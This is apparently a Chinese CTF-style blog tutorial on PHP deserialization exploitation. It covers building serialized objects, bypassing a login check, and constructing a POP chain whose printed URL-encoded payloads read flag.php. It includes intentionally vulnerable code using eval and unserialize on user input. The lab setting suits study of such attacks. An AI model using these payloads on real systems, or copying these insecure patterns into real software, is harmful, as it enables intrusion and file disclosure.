02.php反序列化利用
本文最后更新于446 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、属性赋值

要利用反序列化漏洞,必须向unserialize(函数传入构造的序列化数据(定义合适的属性值)
例题:

<?php
show_source( ___FILE__);
error_reporting(0);
class DEMO{
	public $func;
	public $arg ;
	public function safe(){
		echo $this->arg;
	}
	public function evil(){
		eval($this->arg);
	}
	public function run(){
		$this->{$this->func}();
	}
	function __construct(){
	$this->func = 'evil';
	}
}
$obj=unserialize($_GET['a']);
$obj->run();
?>

直接写序列化数据显然是不合适的,因为序列化数据不符合人类的直观感受,很容易出错。实际上,都是利用serialize(函数来生成序列化数据的。

生成步骤:

  1. 把题目代码复制到本地;
  2. 注释掉与属性无关的内容(方法和没用的代码);
  3. 对属性赋值;
  4. 输出url编码后的序列化数据:
echo(urlencode(serialize(new DEMO())));
  1. 将序列化数据发送到目标服务器。

进行URL编码的原因:
1.原始的序列化数据可能存在不可见字符;
2.如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行url编码。

对属性赋值主要有3种方法:

1.直接在属性中赋值:优点是方便,缺点是只能赋值字符串

<?php  
//show_source( __FILE__);  
//error_reporting(0);  
class DEMO{  
   public $func = 'evil';  
   public $arg = 'phpinfo();' ;  
//    public function safe(){  
//        echo $this->arg;  
//    }  
//    public function evil(){  
//        eval($this->arg);  
//    }  
//    public function run(){  
//        $this->{$this->func}();  
//    }  
//    function __construct(){  
//        $this->func = 'evil';  
//    }  
}  
//$obj=unserialize($_GET['a']);  
//$obj->run();  
echo(urlencode(serialize(new DEMO())));  
?>

Pasted image 20250325230718.png

Pasted image 20250325230734.png

2.外部赋值:优点是可以赋值任意类型的值,缺点是只能操作public属性。
小技巧:对于php7.1+的版本,反序列化对属性类型不敏感。尽管题目的类下的属性可能不是public,但是我们可以本地改成public,然后生成public的序列化字符串。由于7.1+版本的容错机制,尽管属性类型错误,php也认识,也可以反序列化成功。基于此,可以绕过诸如\0字符的过滤。

<?php
class DEMO{
	public $func;
	public $arg ;
}
$o = new DEMO();
$o->func = 'evil';
$o->arg = 'phpinfo();';
echo(urlencode(serialize($o)));

3.构造方法赋值(万能方法):优点是解决了上述的全部缺点,缺点是有点麻烦

<?php
class DEMO{
	public $func;
	public $arg ;
	function __construct(){
		$this->func ='evil';
		$this->arg='phpinfo();';
	}
}
$o= new DEMO();
echo(urlencode(serialize($o)));

二、反序列化基础利用

例子1:

<?php
class Login{
	private $user ="Y1ng";

	function __destruct ()
	{
		if ($this->user=="admin"){
			echo $flag;
			}
		else{
			echo "you are not my admin!";
			exit;
		}
	}
}
$exp = $_GET['exp'];
unserialize (@$exp) ;

payload生成代码:

<?php
class Login{
	private $user ="admin";

//	function __destruct ()
//	{
//		if ($this->user=="admin"){
//			echo $flag;
//			}
//		else{
//			echo "you are not my admin!";
//			exit;
//		}
//	}
}
//$exp = $_GET['exp'];
//unserialize (@$exp) ;
echo urlencode(serialize(new Login()));

三、POP链

POP链:通过代码构造出一组连续的调用链

寻找POP链的思路:
1.寻找unserialize()函数的参数是否可控;
2.寻找反序列化想要执行的目标函数,重点寻找魔术方法(比如_wakeup()和_destruct());
3.一层一层地研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方法;
4.根据我们要控制的属性,构造序列化数据,发起攻击。

例题:

<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(1) ;
class Read{
	public function get_file($value)
	{
		$text = base64_encode(file_get_contents ($value)) ;
		return $text;
	}
}
class Show
{
	public $source;
	public $var;
	public $class1;
	public function __construct ($name='index. php')
	{
		$this->source = $name ;
		echo $this->source.'Welcome'."<br>";
}
	public function __toString()
	{
		$content = $this->class1->get_file($this->var) ;
		echo $content;
		return $content;
	}
	public function _show()
	{
		if (preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)){
			die('hacker');
		}else{
			highlight_file($this->source) ;
		}
}
	public function Change ()
	{
		if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i",$this->source)){
			echo "hacker";
		}
	}
	public function __get($key) {
		$function=$this->$key;
		$this->{$key} ();
	}
}
if(isset($GET['sid']))
{
	$sid=$_GET['sid'];
	$config=unserialize($_GET['config']);
	$config->$sid;
}
else
{
$show=newShow('index2.php');
$show->_show();
}

头:可控参数
尾:目标函数

头:$sid $config
方法一:$config=new Show  $sid=__toString

方法二:$this->source = new Show 

Show->__toString  $this->class1=new Read  $this->var='flag.php'
尾:Read->get_file

payload生成代码:

<?php  
//header("Content-type:text/html;charset=utf-8");  
//error_reporting(1) ;  
class Read{  
//  public function get_file($value)  
//{  
//    $text = base64_encode(file_get_contents ($value)) ;  
//    return $text;  
//  }  
}  
class Show  
{  
    public $source;  
    public $var = 'flag.php';  
    public $class1;  
////    public function __construct ($name='index. php')  
////    {  
////        $this->source = $name ;  
////        echo $this->source.'Welcome'."<br>";  
////    }  
////    public function __toString()  
////    {  
////        $content = $this->class1->get_file($this->var) ;  
////        echo $content;  
////        return $content;  
////    }  
////    public function _show()  
////    {  
////        if (preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)){  
////            die('hacker');  
////        }else{  
////            highlight_file($this->source) ;  
////        }  
////    }  
////    public function Change ()  
////    {  
////        if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i",$this->source)){  
////            echo "hacker";  
////        }  
////    }  
////    public function __get($key) {  
////        $function=$this->$key;  
////        $this->{$key} ();  
////    }  
}  
//if(isset($GET['sid']))  
//{  
//    $sid=$_GET['sid'];  
//  $config=unserialize($_GET['config']);  
//  $config->$sid;  
//}  
//else  
//{  
//    $show=newShow('index2.php');  
//    $show->_show();  
  
$s = new Show;  
$s->class1 = new Read;  
echo urlencode(serialize($s));

payload:

config=O%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BO%3A4%3A%22Read%22%3A0%3A%7B%7D%7D&sid=__toString

payload生成代码:

<?php  
//header("Content-type:text/html;charset=utf-8");  
//error_reporting(1) ;  
class Read{  
//  public function get_file($value)  
//{  
//    $text = base64_encode(file_get_contents ($value)) ;  
//    return $text;  
//  }  
}  
class Show  
{  
    public $source;  
    public $var = 'flag.php';  
    public $class1;  
////    public function __construct ($name='index. php')  
////    {  
////        $this->source = $name ;  
////        echo $this->source.'Welcome'."<br>";  
////    }  
////    public function __toString()  
////    {  
////        $content = $this->class1->get_file($this->var) ;  
////        echo $content;  
////        return $content;  
////    }  
////    public function _show()  
////    {  
////        if (preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)){  
////            die('hacker');  
////        }else{  
////            highlight_file($this->source) ;  
////        }  
////    }  
////    public function Change ()  
////    {  
////        if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i",$this->source)){  
////            echo "hacker";  
////        }  
////    }  
////    public function __get($key) {  
////        $function=$this->$key;  
////        $this->{$key} ();  
////    }  
}  
//if(isset($GET['sid']))  
//{  
//    $sid=$_GET['sid'];  
//  $config=unserialize($_GET['config']);  
//  $config->$sid;  
//}  
//else  
//{  
//    $show=newShow('index2.php');  
//    $show->_show();  
  
$s = new Show;  
$s->class1 = new Read;  
$s2 = new Show;  
$s2->source = $s;  
echo urlencode(serialize($s2));
//$s2->$s->new Read,类似于包含关系

payload:

config=O%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BO%3A4%3A%22Read%22%3A0%3A%7B%7D%7Ds%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BN%3B%7D&sid=Change

或者sid=_show

解题思路:
1.构造利用链,就要找到头和尾。再想办法把头和尾连接起来。
2.$sid 和 $config 是用户输入可以控制的,这是利用链的头部。
3.最终目的是读取flag.php文件,就要从源代码中需要可以读文件或者执行系统命令的地方。Read->get_fileshow->_show 可以读取文件,但是 show->_show 函数不允许出现flag。因此,Read->get_file 就是POP链的尾部。
4.如何触发 Read->get_file 呢? 搜索get_file发现,Show->_tostring 中存在代码

$content = $this->class1->get_file($this->var);

那么,只需要令

$this->class1=new Read;
$this->var='flag.php'

即可触发get_file,并得到flag.php的内容(base64编码格式)。
5.那么如何触发 show->_tostring 呢? 本题存在手动触发函数的命令 $config->$sid;,参数是用户控制的(POP链的头部),因此可以令:

$config=new Show;
$sid='__toString';
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇